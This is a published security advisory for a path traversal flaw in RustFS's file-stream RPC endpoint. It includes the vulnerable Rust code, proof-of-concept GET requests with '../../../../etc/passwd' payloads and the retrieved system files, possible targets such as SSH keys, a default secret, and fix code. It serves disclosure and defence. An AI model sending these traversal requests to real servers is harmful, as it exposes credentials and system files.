GHSA-PQ29-69JG-9MXC
Vulnerability from github – Published: 2026-01-07 18:15 – Updated: 2026-01-07 21:34RustFS Path Traversal Vulnerability
Vulnerability Details
- CVE ID:
- Severity: Critical (CVSS estimated 9.9)
- Impact: Arbitrary File Read/Write
- Component:
/rustfs/rpc/read_file_streamendpoint - Root Cause: Insufficient path validation in
crates/ecstore/src/disk/local.rs:1791
Vulnerable Code
// local.rs:1791 - No path sanitization!
let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS!
check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length
let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;
The code uses PathBuf::join() without:
- Canonicalization
- Path boundary validation
- Protection against ../ sequences
- Protection against absolute paths
Proof of Concept
Test Environment
- Target: RustFS v0.0.5 (Docker container)
- Endpoint:
http://localhost:9000/rustfs/rpc/read_file_stream - RPC Secret:
rustfsadmin(from RUSTFS_SECRET_KEY) - Disk ID:
/data/rustfs0 - Volume:
.rustfs.sys
Attack Scenario
Exploit Parameters
disk: /data/rustfs0
volume: .rustfs.sys
path: ../../../../etc/passwd # Path traversal payload
offset: 0
length: 751 # Must match file size
Required Authentication
RPC requests require HMAC-SHA256 signature:
# Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}")
Headers:
x-rustfs-signature: Base64(HMAC-SHA256(secret, data))
x-rustfs-timestamp: Unix timestamp
Successful Exploits
1. Read /etc/passwd ✅
Request:
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751
x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=
x-rustfs-timestamp: 1766482485
Response: HTTP 200 OK
Content Retrieved:
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[... 15 more lines ...]
rustfs:x:10001:10001::/home/rustfs:/sbin/nologin
Impact: Full user account enumeration
2. Read /etc/hosts ✅
Request:
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172
Response: HTTP 200 OK
Content Retrieved:
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
[...]
172.20.0.3 d25e05a19bd2
Impact: Network configuration disclosure
3. Read /etc/hostname ✅
Request:
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13
Response: HTTP 200 OK
Content Retrieved:
d25e05a19bd2
Impact: System information disclosure
Technical Analysis
Data Flow
1. HTTP Request
↓
2. RPC Signature Verification (verify_rpc_signature)
↓
3. Find Disk (find_local_disk)
↓
4. Read File Stream (disk.read_file_stream)
↓
5. VULNERABLE: volume_dir.join(Path::new(&path))
↓
6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd
→ /etc/passwd
Path Traversal Mechanism
// Example traversal:
volume_dir = PathBuf::from("/data/rustfs0/.rustfs.sys")
path = "../../../../etc/passwd"
// PathBuf::join() resolves to:
file_path = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd"
= "/etc/passwd" // Successfully escaped!
Why It Works
- No Canonicalization: Code doesn't use
canonicalize()before validation - No Boundary Check: No verification that final path is within volume_dir
- PathBuf::join() Behavior: Automatically resolves
../sequences - Length-Only Validation:
check_path_length()only checks string length
Special Considerations
- File Size Constraint: The
lengthparameter must exactly match file size - Code validates:
file.len() >= offset + length - Otherwise returns
DiskError::FileCorrupt - Volume Requirement: Volume/bucket must exist (e.g.,
.rustfs.sys) - Disk Requirement: Disk must be registered in
GLOBAL_LOCAL_DISK_MAP
Impact Assessment
Confidentiality Impact: HIGH
- ✅ Read arbitrary files (demonstrated)
- ✅ Read system configuration files (
/etc/passwd,/etc/hosts) - ⚠️ Potential to read:
- SSH keys (
/root/.ssh/id_rsa) - Application secrets
- RustFS configuration files
- Environment variables from
/proc
Integrity Impact: HIGH
- ⚠️ Similar vulnerability exists in
put_file_stream(not tested) - ⚠️ Arbitrary file write likely possible
- ⚠️ Could write to:
- Cron jobs
- authorized_keys
- System binaries (if permissions allow)
Availability Impact: MEDIUM
- ⚠️
walk_direndpoint could enumerate entire filesystem - ⚠️ Potential DoS via recursive directory traversal
Exploitation Requirements
Prerequisites
- Network Access: Ability to reach RustFS RPC endpoints
- RPC Secret Knowledge: Knowledge of RUSTFS_SECRET_KEY
- Default:
"rustfs-default-secret" - Production: From environment variable or config
- Disk/Volume Knowledge: Valid disk ID and volume name
- File Size Knowledge: Exact file sizes for successful reads
Attack Complexity
- Without Secret: Impossible (signature verification)
- With Secret: Trivial (automated script)
- With Default Secret: Critical risk if not changed
Mitigation Recommendations
Immediate Actions (Priority 0)
- Path Canonicalization
async fn read_file_stream(&self, volume: &str, path: &str, ...) -> Result<FileReader> {
let volume_dir = self.get_bucket_path(volume)?;
// CRITICAL FIX:
let file_path = volume_dir.join(Path::new(&path));
let canonical = file_path.canonicalize()
.map_err(|_| DiskError::FileNotFound)?;
// Validate path is within volume_dir
if !canonical.starts_with(&volume_dir) {
error!("Path traversal attempt detected: {:?}", path);
return Err(DiskError::InvalidArgument);
}
// Continue with validated path...
}
- Path Component Validation
// Reject dangerous path components
if path.contains("..") || path.starts_with('/') {
return Err(DiskError::InvalidArgument);
}
- Use path-clean Crate
use path_clean::PathClean;
let cleaned_path = PathBuf::from(&path).clean();
if cleaned_path.to_string_lossy().contains("..") {
return Err(DiskError::InvalidArgument);
}
Additional Security Measures
- Audit Logging: Log all RPC file operations with full paths
- Rate Limiting: Prevent DoS via repeated RPC calls
- Secret Rotation: Ensure unique RPC secrets per deployment
- Network Segmentation: Restrict RPC endpoint access
- Security Testing: Add path traversal tests to test suite
Long-term Improvements
- Chroot Jail: Isolate RPC operations in chroot environment
- Least Privilege: Run RustFS with minimal file system permissions
- Security Audit: Comprehensive review of all file operations
Proof of Concept Script
The complete PoC is available at: exploit_path_traversal.py
Usage
# Ensure RustFS is running
docker compose ps
# Run exploit
python3 exploit_path_traversal.py
Output
[+] SUCCESS! Read 751 bytes
[+] File content:
================================================================================
root:x:0:0:root:/root:/bin/sh
[... full /etc/passwd content ...]
================================================================================
Acknowledgements
RustFS would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.
Acknowledgements: RustFS would like to thank @realansgar and bilisheep from the Xmirror Security Team for providing the security report.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.0-alpha.78"
},
"package": {
"ecosystem": "crates.io",
"name": "rustfs"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-alpha.13"
},
{
"fixed": "1.0.0-alpha.79"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68705"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-07T18:15:29Z",
"nvd_published_at": "2026-01-07T21:15:59Z",
"severity": "HIGH"
},
"details": "# RustFS Path Traversal Vulnerability\n\n## Vulnerability Details\n\n- **CVE ID**: \n- **Severity**: Critical (CVSS estimated 9.9)\n- **Impact**: Arbitrary File Read/Write\n- **Component**: `/rustfs/rpc/read_file_stream` endpoint\n- **Root Cause**: Insufficient path validation in `crates/ecstore/src/disk/local.rs:1791`\n\n### Vulnerable Code\n\n```rust\n// local.rs:1791 - No path sanitization!\nlet file_path = volume_dir.join(Path::new(\u0026path)); // DANGEROUS!\ncheck_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length\nlet mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;\n```\n\nThe code uses `PathBuf::join()` without:\n- Canonicalization\n- Path boundary validation\n- Protection against `../` sequences\n- Protection against absolute paths\n\n## Proof of Concept\n\n### Test Environment\n\n- **Target**: RustFS v0.0.5 (Docker container)\n- **Endpoint**: `http://localhost:9000/rustfs/rpc/read_file_stream`\n- **RPC Secret**: `rustfsadmin` (from RUSTFS_SECRET_KEY)\n- **Disk ID**: `/data/rustfs0`\n- **Volume**: `.rustfs.sys`\n\n### Attack Scenario\n\n#### Exploit Parameters\n\n```\ndisk: /data/rustfs0\nvolume: .rustfs.sys\npath: ../../../../etc/passwd # Path traversal payload\noffset: 0\nlength: 751 # Must match file size\n```\n\n#### Required Authentication\n\nRPC requests require HMAC-SHA256 signature:\n\n```python\n# Signature format: HMAC-SHA256(secret, \"{url}|{method}|{timestamp}\")\nHeaders:\n x-rustfs-signature: Base64(HMAC-SHA256(secret, data))\n x-rustfs-timestamp: Unix timestamp\n```\n\n### Successful Exploits\n\n#### 1. Read `/etc/passwd` \u2705\n\n**Request:**\n```\nGET /rustfs/rpc/read_file_stream?disk=/data/rustfs0\u0026volume=.rustfs.sys\u0026path=../../../../etc/passwd\u0026offset=0\u0026length=751\nx-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=\nx-rustfs-timestamp: 1766482485\n```\n\n**Response:** HTTP 200 OK\n\n**Content Retrieved:**\n```\nroot:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n[... 15 more lines ...]\nrustfs:x:10001:10001::/home/rustfs:/sbin/nologin\n```\n\n**Impact**: Full user account enumeration\n\n---\n\n#### 2. Read `/etc/hosts` \u2705\n\n**Request:**\n```\nGET /rustfs/rpc/read_file_stream?disk=/data/rustfs0\u0026volume=.rustfs.sys\u0026path=../../../../etc/hosts\u0026offset=0\u0026length=172\n```\n\n**Response:** HTTP 200 OK\n\n**Content Retrieved:**\n```\n127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-loopback\n[...]\n172.20.0.3\td25e05a19bd2\n```\n\n**Impact**: Network configuration disclosure\n\n---\n\n#### 3. Read `/etc/hostname` \u2705\n\n**Request:**\n```\nGET /rustfs/rpc/read_file_stream?disk=/data/rustfs0\u0026volume=.rustfs.sys\u0026path=/etc/hostname\u0026offset=0\u0026length=13\n```\n\n**Response:** HTTP 200 OK\n\n**Content Retrieved:**\n```\nd25e05a19bd2\n```\n\n**Impact**: System information disclosure\n\n---\n\n## Technical Analysis\n\n### Data Flow\n\n```\n1. HTTP Request\n \u2193\n2. RPC Signature Verification (verify_rpc_signature)\n \u2193\n3. Find Disk (find_local_disk)\n \u2193\n4. Read File Stream (disk.read_file_stream)\n \u2193\n5. VULNERABLE: volume_dir.join(Path::new(\u0026path))\n \u2193\n6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd\n \u2192 /etc/passwd\n```\n\n### Path Traversal Mechanism\n\n```rust\n// Example traversal:\nvolume_dir = PathBuf::from(\"/data/rustfs0/.rustfs.sys\")\npath = \"../../../../etc/passwd\"\n\n// PathBuf::join() resolves to:\nfile_path = \"/data/rustfs0/.rustfs.sys/../../../../etc/passwd\"\n = \"/etc/passwd\" // Successfully escaped!\n```\n\n### Why It Works\n\n1. **No Canonicalization**: Code doesn\u0027t use `canonicalize()` before validation\n2. **No Boundary Check**: No verification that final path is within volume_dir\n3. **PathBuf::join() Behavior**: Automatically resolves `../` sequences\n4. **Length-Only Validation**: `check_path_length()` only checks string length\n\n### Special Considerations\n\n- **File Size Constraint**: The `length` parameter must exactly match file size\n - Code validates: `file.len() \u003e= offset + length`\n - Otherwise returns `DiskError::FileCorrupt`\n- **Volume Requirement**: Volume/bucket must exist (e.g., `.rustfs.sys`)\n- **Disk Requirement**: Disk must be registered in `GLOBAL_LOCAL_DISK_MAP`\n\n## Impact Assessment\n\n### Confidentiality Impact: HIGH\n\n- \u2705 Read arbitrary files (demonstrated)\n- \u2705 Read system configuration files (`/etc/passwd`, `/etc/hosts`)\n- \u26a0\ufe0f Potential to read:\n - SSH keys (`/root/.ssh/id_rsa`)\n - Application secrets\n - RustFS configuration files\n - Environment variables from `/proc`\n\n### Integrity Impact: HIGH\n\n- \u26a0\ufe0f Similar vulnerability exists in `put_file_stream` (not tested)\n- \u26a0\ufe0f Arbitrary file write likely possible\n- \u26a0\ufe0f Could write to:\n - Cron jobs\n - authorized_keys\n - System binaries (if permissions allow)\n\n### Availability Impact: MEDIUM\n\n- \u26a0\ufe0f `walk_dir` endpoint could enumerate entire filesystem\n- \u26a0\ufe0f Potential DoS via recursive directory traversal\n\n## Exploitation Requirements\n\n### Prerequisites\n\n1. **Network Access**: Ability to reach RustFS RPC endpoints\n2. **RPC Secret Knowledge**: Knowledge of RUSTFS_SECRET_KEY\n - Default: `\"rustfs-default-secret\"`\n - Production: From environment variable or config\n3. **Disk/Volume Knowledge**: Valid disk ID and volume name\n4. **File Size Knowledge**: Exact file sizes for successful reads\n\n### Attack Complexity\n\n- **Without Secret**: Impossible (signature verification)\n- **With Secret**: Trivial (automated script)\n- **With Default Secret**: Critical risk if not changed\n\n## Mitigation Recommendations\n\n### Immediate Actions (Priority 0)\n\n1. **Path Canonicalization**\n```rust\nasync fn read_file_stream(\u0026self, volume: \u0026str, path: \u0026str, ...) -\u003e Result\u003cFileReader\u003e {\n let volume_dir = self.get_bucket_path(volume)?;\n\n // CRITICAL FIX:\n let file_path = volume_dir.join(Path::new(\u0026path));\n let canonical = file_path.canonicalize()\n .map_err(|_| DiskError::FileNotFound)?;\n\n // Validate path is within volume_dir\n if !canonical.starts_with(\u0026volume_dir) {\n error!(\"Path traversal attempt detected: {:?}\", path);\n return Err(DiskError::InvalidArgument);\n }\n\n // Continue with validated path...\n}\n```\n\n2. **Path Component Validation**\n```rust\n// Reject dangerous path components\nif path.contains(\"..\") || path.starts_with(\u0027/\u0027) {\n return Err(DiskError::InvalidArgument);\n}\n```\n\n3. **Use path-clean Crate**\n```rust\nuse path_clean::PathClean;\n\nlet cleaned_path = PathBuf::from(\u0026path).clean();\nif cleaned_path.to_string_lossy().contains(\"..\") {\n return Err(DiskError::InvalidArgument);\n}\n```\n\n### Additional Security Measures\n\n4. **Audit Logging**: Log all RPC file operations with full paths\n5. **Rate Limiting**: Prevent DoS via repeated RPC calls\n6. **Secret Rotation**: Ensure unique RPC secrets per deployment\n7. **Network Segmentation**: Restrict RPC endpoint access\n8. **Security Testing**: Add path traversal tests to test suite\n\n### Long-term Improvements\n\n9. **Chroot Jail**: Isolate RPC operations in chroot environment\n10. **Least Privilege**: Run RustFS with minimal file system permissions\n11. **Security Audit**: Comprehensive review of all file operations\n\n## Proof of Concept Script\n\nThe complete PoC is available at: `exploit_path_traversal.py`\n\n### Usage\n\n```bash\n# Ensure RustFS is running\ndocker compose ps\n\n# Run exploit\npython3 exploit_path_traversal.py\n```\n\n### Output\n\n```\n[+] SUCCESS! Read 751 bytes\n[+] File content:\n================================================================================\nroot:x:0:0:root:/root:/bin/sh\n[... full /etc/passwd content ...]\n================================================================================\n```\n\n## Acknowledgements\n\nRustFS would like to thank **bilisheep** from the **Xmirror Security Team** for discovering and responsibly reporting this vulnerability.\n\nAcknowledgements: RustFS would like to thank @realansgar and **bilisheep** from the **Xmirror Security Team** for providing the security report.",
"id": "GHSA-pq29-69jg-9mxc",
"modified": "2026-01-07T21:34:33Z",
"published": "2026-01-07T18:15:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rustfs/rustfs/security/advisories/GHSA-pq29-69jg-9mxc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68705"
},
{
"type": "WEB",
"url": "https://github.com/rustfs/rustfs/commit/ab752458ce431c6397175d167beee2ea00507d3e"
},
{
"type": "PACKAGE",
"url": "https://github.com/rustfs/rustfs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "RustFS Path Traversal Vulnerability"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.